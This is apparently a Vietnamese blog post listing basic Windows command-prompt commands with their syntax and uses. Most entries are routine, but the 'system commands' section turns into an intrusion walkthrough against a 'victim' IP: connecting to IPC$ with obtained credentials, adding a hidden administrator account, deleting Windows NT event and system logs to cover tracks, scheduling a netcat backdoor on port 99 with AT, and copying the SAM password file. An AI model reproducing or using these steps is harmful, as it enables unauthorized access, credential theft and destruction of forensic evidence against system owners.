latest Post

Các lệnh cơ bản trong DOS

Các lệnh cơ bản trong DOS

 Để khởi động Command Prompt trong Windows bạn tìm theo địa chỉ: Start–>Programs–>Accessories –> Command Prompt. Hoặc vào Strart –> Run (Windows + R) gõ cmd –> ok.

DOS có môi trường làm việc dưới dạng dòng lệnh, người sử dụng thông qua dòng lệnh tương tác với máy tính. Tuy DOS không thân thiện, không bắt mắt và mạnh mẽ như Windows nhưng nhiều khi nó lại không thể thiếu, nhất là trong những tình huống bạn buộc phải làm việc với nó (chẳng hạn như vào một ngày đẹp trời bất thình lình Windows gặp sự cố và bạn không thể làm việc với máy tính từ Windows được). Và khi đó 1 chút kiến thức cơ bản về DOS là điều không thể thiếu, nó sẽ rất có ích cho bạn.

Lưu ý: Với mỗi lệnh khi thực hiện có cú pháp và thamm số kèm theo, nếu không nhớ chúng ta có thể tìm bằng câu lệnh: Tên lệnh /?  sau đó chọn Enter

Nhóm lệnh môi trường :

1. Lệnh : Date
Xem và chỉnh sửa ngày hiện tại :

Sau khi gõ lệnh date sẽ hiện ra thông báo ngày hiện hành, dòng Enter the new date : (mm-dd-yy) nhắc nhở bạn nhập ngày mới theo cấu trúc tháng-ngày-năm (cấu trúc này có thể khác dd-mm-yy : ngày-tháng-năm). Để trống và nhấn Enter sẽ giữ nguyên ngày cũ.

2. Lệnh : Time
Tương tự như lệnh date, lệnh này để xem và chỉnh sửa giờ hiện tại.

3. Lệnh : Ver
Xem Version hiện tại của hệ thống.

4. Lệnh : Label
Xem và sửa nhãn đĩa :
5. Lệnh : CLS
Lệnh này sẽ xóa toàn bộ màn hình.

Nhóm lệnh về thư mục :

6. Lệnh : DIR
Lệnh này sẽ liệt kê danh sách những Folder, file có trong thư mục hiện hành :
Lệnh dir cũng có 1 vài tham số như : /P : Hiện các Folder và các file trong thư mục hiện hành theo từng trang, nhấn phím bất kỳ sẽ chuyển trang tiếp theo :

7. Lệnh : CD
Lệnh này chuyển đến thư mục khác. Cấu trúc : CD [/D] [Driver:] [Path]
Nếu thư mục cần chuyển ở ổ đĩa khác tà dùng tham số /D

8. Lệnh : MD
Cú pháp: MD [Folder name]
Lệnh này sẽ tạo ra 1 thư mục mới có tên Folder name
9. Lệnh : RD
Cú pháp: RD <path> [Folder name] /S/Q
Xóa thư mục có tên Folder name theo đường dẫn path
Tham số /S : Xóa hết cả các thư mục con và file trong thư mục Folder name
Tham số /Q : Không hỏi xác nhận lại khi đã dùng tham số /S
Lưu ý: Thư mục cần xóa phải rỗng nếu không dùng tham số /S

Nhóm lệnh về xử lý tệp

10. Lệnh : type
Để xem nội dung 1 file các bạn có thể dung lệnh : type <path> [Tên file]
 
11. Lệnh : copy con
 
Cú pháp: copy con <path> [Tên file]
Lệnh này sẽ tạo ra 1 file có tên là Tên file theo đường dẫn path.
Sau lệnh này các bạn soạn thảo file. Soạn thảo xong nhấn Ctr + Z hoặc nhấn F6 rồi Enter để lưu File vừa tạo.
12. Lệnh : Copy
 
Cú pháp: Copy
<Tên File> [destination path]
Sao chép tệp có tên là Tên File từ source path đến destination path
Ví dụ: lệnh sau sẽ copy tệp zooz.txt từ thư mục hiện hành đến thư mục Games trong ổ đĩa D :
Copy zooz.txt D:\Games

13. Lệnh : Edit
Cú pháp: Edit <path> [Tên File]
Lệnh trên sẽ mở tệp có tên là Tên File theo đường dẫn path ra để sửa

14. Lệnh : REN
Cú pháp: REN <path> [Tên File cũ] [Tên File mới]
Lệnh trên sẽ đổi tên File. Cũng có thể áp dụng cho thư mục Khác

15. Sử dụng các ký hiệu đặc biệt :
Các ký hiệu như ?, *, có thể sử dụng để thay thế các ký tự khác. Ví dụ muốn liệt kê tất cả các file và thư mục bắt đầu bằng chữ a và không quan tâm xem phần còn lại của tên file hay thư mục là gì ta có thể dùng lệnh sau : dir a*.*

Lưu ý : dấu * đại diện cho nhiều ký tự khác nhau, còn dấu ? chỉ đại diện cho 1 ký tự.
Các bạn có thể dùng dấu ký tự * hoặc ? để sử dụng trong các lệnh tác động hàng loạt, như đổi tên hàng loạt chẳng hạn. Lệnh sau sẽ đổi đuôi tất cả những tệp có tên bắt đầu bằng những chữ cái abc và có 2 ký tự cuối cùng của phần mở rộng là xy thành đuôi .top : REN abc*.?xy *.top 



Nhóm lệnh về hệ thống

1. Lệnh Ping:
Phân tích sự kết nối đến một máy từ xa trên mạng. Lệnh này chỉ có hiệu lực khi máy bạn đã cài giao thức TCP/IP.
Cú pháp: ping ip/host [/t][/a][/l][/n]
– ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính.
– Tham số /t: Sử dụng tham số này để máy tính liên tục “ping” đến máy tính đích, cho đến khi bạn bấm Ctrl + C
– Tham số /a: Nhận địa chỉ IP từ tên host
– Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death – một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt.

– Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5

Công dụng: Sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)….

2. Lệnh Tracert:
Cú pháp: tracert ip/host
Công dụng: Cho phép bạn “nhìn thấy” đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào… Quá hay nếu bạn muốn thăm dò một server nào đó.

3. Lệnh Net Send:
Gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tính Win NT/2000/XP):
Cú pháp: Net send ip/host thông_điệp_muốn_gởi
Công dụng: Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi.
Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau :
Code: Net send * [thông điệp]
Lưu ý: thông điệp bạn gửi đi không được có dấu cách (khoảng trắng)

4. Lệnh Netstat:
Cú pháp: Netstat [/a][/e][/n]
– Tham số /a : Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening)
– Tham số /e : hiển thị các thông tin thống kê Ethernet
– Tham số /n : Hiển thị các địa chỉ và các số cổng kết nối…
Ngoài ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm
Công dụng: Liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.

5. Lệnh IPCONFIG:
Cú pháp: ipconfig /all
Công dụng: Cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng…
Lệnh này còn một số thông số khác bạn gõ: ipconfig/? để xem.

6. Lệnh FTP (truyền tải file):
Cú pháp: ftp ip/host


Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau:
Code: ftp>_
Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP,Flash FXP.
Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file… trên máy chủ.

Một số lệnh ftp cơ bản:

– cd thu_muc: chuyển sang thư mục khác trên máy chủ
– dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ
– mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ
– rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ
– put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ.

– close: Đóng phiên làm việc
– quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command.
Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu.
Công dụng: Có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp.

7. Lệnh Net View:
Cú pháp: Net View [\\computer|/Domain[:ten_domain]]
Công dụng: Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng.
Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.

8. Lệnh Net Use:
Cú pháp: Net use \\ip\ipc$ “pass” /user:”######”
– ip: địa chỉ IP của victim.
– ######: user của máy victim
– pass: password của user
Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau:

Code: Net use \\68.135.23.25\ipc$ “12345″ /user:”victim”
Công dụng: Kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).

9. Lệnh Net User:
Cú pháp: Net User [username pass] [/add]
– Username : tên user cần add
– pass : password của user cần add
Khi đã add được user vào rùi thì ta tiến hành add user này vào nhóm administrator.
Code: Net Localgroup Adminstrator [username] [/add]
Công dụng: Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính.
Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào.
Ví dụ: ta tiến hành add thêm một user có tên là uanhoa , password là :banvatoi vào với cấu trúc lệnh như sau:
Code: Net User xuanhoa banvatoi /add
Sau đó add user xuanhoa vào nhóm adminnistrator
Code: Net Localgroup Administrator xuanhoa /add

10. Lệnh Shutdown:

Cú pháp: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c “commet] [-d up:xx:yy]
– Tham số -m \\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,..
– Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown.
– Tham số -l : logg off (lưu ý ko thể thực hiện khi remote)
– Tham số -s : shutdown
– Tham số -r : shutdown và restart
– Tham số -a : không cho shutdown
– Tham số -f : shutdown mà ko cảnh báo
– Tham số -c “comment” : lời cảnh báo trước khi shutdown
– Tham số -d up:xx:yy : ko rõ
Code: shutdown \\ip (áp dụng win NT)

Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn!
Công dụng: Shutdown máy tính.

11. Lệnh DIR:
Cú pháp: DIR [drive:][path][filename]
Công dụng: Để xem file, folder.

12. Lệnh DEL:
Cú pháp: DEL [drive:][path][filename]
Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT; Code:
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log

13. Lệnh tạo ổ đĩa ảo trên computer:
Cú pháp: Net use z: \\ip\C$ ( hoặc là IPC$ )
Công dụng: Tạo 1 đĩa ảo trên máy tình của mình từ tài nguyên chia sẻ trên mạng. Để hiểu hơn về lệnh này các bạn xem các bài viết khác.

14. Lệnh Net Time:
Cú pháp: Net Time \\ip
Công dụng: Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình.

15. Lệnh AT:
Cú pháp: AT \\ip
Công dụng: Khởi động các ứng dụng trên máy victim
Ví dụ: ở đây tôi có con trojan tên nc.exe (NC là từ viết tắc của NETCAT….nó là một telnet server với port 99) và đc copy lên máy victim rồi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 .
Code: Net Time \\68.135.23.25
Bây giờ nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00.
Code: AT \\68.135.23.25 12:3 nc.exe
Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.

16. Lệnh Telnet:
Cú pháp: telnet host port
VD: telnet 68.135.23.25 99
Công dụng: Kết nối đến host qua port xx. Gõ telnet /? để biết thêm chi tiết.

17. Lệnh COPY:
Cú pháp: COPY [nguồn] [đích]
Công dụng: Copy file. Gõ copy/?để biết thêm.
Ví dụ: Chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1
Code: Copy Index.html \\127.0.0.1\C$\index.html
nếu bạn copy lên folder winNt
Code: Copy index.html \\127.0.0.1\admin$\index.html
muốn copy files trên máy victm thì bạn gõ vào :
Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\

18. Lệnh SET:
Cú pháp: SET
Công dụng: Displays, sets, or removes cmd.exe enviroment variables.

19. Lệnh Nbtstat:
Cú pháp: Nbtstat
Công dụng: Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP). Gõ Nbtstat/? để biết rõ hơn.

20. Lệnh Date:
Cú pháp: Date /T
Công dụng: Nếu chỉ gõ lệnh date thì hệ thống sẽ hiển thị ngày giờ hệ thống và yêu cầu bạn nhập ngày giờ mới để edit.
Nếu gõ lệnh date /t thì bạn chỉ coi thông tin về ngày giờ hệ thống

21. Lệnh xuất thông tin thành file *.txt:
Cú pháp: Câu lệnh >[drive]:\[path]\tenfile.txt
Công dụng: xuất một tham số nào đó ra 1 file text .
Ví dụ: bạn đánh lệnh sau:
Code: ipconfig >C:\myip.txt Hệ thống sẽ tạo ra file myip.txt lưu ở ổ đĩa C với thông tin là IP, Gateway, Subnet Mask

22. Lệnh openfiles:
Cú pháp: OpenFiles /Disconnect /ID id hoặc OpenFiles /Disconnect /A tên-truy-cập
Công dụng: Cho biết ai đang dùng các tập tin (thư mục) mà bạn đang chia sẽ trên hệ thống mạng

23. Lệnh Recover:
Cú pháp: Recover [:ổ đĩa][đường dẫn]<file name>
Công dụng: Để “cứu” một file nào đó bị hỏng khi file đó nằm trên vùng đĩa hư (bad sector chăng hạn). Chỉ hoạt động khi hệ thống file của bạn là NTFS. Lệnh chỉ sử dụng được cho từng file một.

24. Lệnh Tasklist:
Cú pháp: Tasklist
Công dụng: Liệt kê các tác vụ (các chương trình ứng dụng đang chạy trong bộ nhớ máy tính) chi tiết. Sẽ cho bạn biết tên process đang chạy. Process là một luồng xử lý được CPU cấp riêng khi thực thi một ứng dụng (chương trình) hay PID (Process ID). TaskList hữu ích khi dùng với Taskkill. Để hiểu rõ hơn về lệnh này, hãy thêm tham số /? sau cấu trúc lệnh.

25. Lệnh Taskkill:
Cú pháp: Taskkill /PID proccess id (Đừng quên thêm /? sau cấu trúc lệnh để hiểu rõ hơn nhé!)
Công dụng: Để “kill” một “task” đang chạy trong bộ nhớ.
Ví dụ: Đầu tiên ta dùng lệnh tasklist để biết được groccess id của chương trình cần tắt.
Code: tasklist
Ở đây tôi thí dụ như tôi cần DWK có groccess id là 524 thì ta dùng lệnh taskkill để tắt nó đi như sau:
Code: taskkill /PID 524 /f
Tham số /f là để tắt ứng dụng đó đi một cách hoàn toàn!

26. Lệnh Compact:
Cú pháp: Compact [:ổ đĩa] [đường dẫn]<tên file>[/c] [/s] [/a] [/f] [/q]
– tham số /c : chỉ định nén một file nào đó
– tham số /u : giải nén một file nào đó
Các tham số khác bạn gõ lệnh compact/? để tìm hiểu thêm.
Công dụng: Tương tự như chức năng tiết kệm dung lượng đĩa trên Windows XP hay 2003 (Vista) – chỉ có khi dùng NTFS là “Compress Contents To Save Disk Space”. Các bạn có nhiều kiểu làm như click phải chuột vào một file chọn Properties -> Advanced rồi check vào ô tiết kiệm dung lượng cho file này “Compress file to save disk space”. Nhưng khi các bạn muốn nén tất các file thì Compact là lựa chọn tốt nhất với tên file là *.*.
Ví dụ: Nén tất cả các file có phần mở rộng là exe trong ổ :C ta gõ lệnh sau.
Code: compact /c *.exe

27. Lệnh control:
Cú pháp: control
Công dụng: Mở control panel bằng CMD

28. Lệnh getmac:
Cú pháp: getmac
Công dụng: lấy thông tin địa chỉ MAC (Media Access Control) từ card mạng.

29. Lệnh systeminfo:
Cú pháp: systeminfo
Công dụng: hiện thị thông tin của hệ thống từ cấu hình cơ bản, loại CPU, khu vực địa lý, các bản hotfix (bản cập nhập) đã cài trong máy, v.v…

30. Lệnh tree:
Cú pháp: tree [:ổ đĩa][đường dẫn] [/f] [/a]
– Tham số /f : hiển thị tên của file trong mỗi thư mục
– Tham số /a : Hiển thị tên file hoặc thư mục bằng bảng mã ASCII thay vì tên đầy đủ của ứng dụng.
Công dụng: Hiển thị cấu trúc thư mục dạng cây!
***
bootcfg : xem thiết lập phần tải hệ điều hành ban đầu .
defrag : lệnh này dùng để dồn đĩa cứng .
diskpart : quản lí phân vùng trên đĩa . Chúng ta có thể bấm DISKPART / ? để xem hướng dẫn cách dùng chi tiết .
driverquery : nhận danh sách các chương trình Driver và những thuộc tính của chúng .
gpresult : nhận RSoP , những thiết lập người dùng và những thiết lập của chính sách nhóm.
netsh : công cụ cấu hình mạng . Bấm NETSH / ? để biết thêm chi tiết . Để thoát khỏi công cụ này gõ lệnh NETSH>
reg : công cụ cho Registry .
schtasks : Admin có thể tạo lịch trình , thay đổi , xoá những nhiệm vụ trên máy trạm hoặc những máy điều khiển từ xa . SCHTASKS/? để hiển thị những tham số .
sfc : kiểm tra file hệ thống , bảo về và thay thế , sửa chữa những file hệ thống bị hỏng .
shutdown : bạn có thể tắt hoặc khởi động lại máy tính của mình hoặc Admin có thể tắt hoặc khởi động lại những máy tính điều khiển từ xa .
dxdiag : cấu hình

About miniflash

miniflash
Recommended Posts × +

0 comments:

Đăng nhận xét

Recent Comments Widget
loading...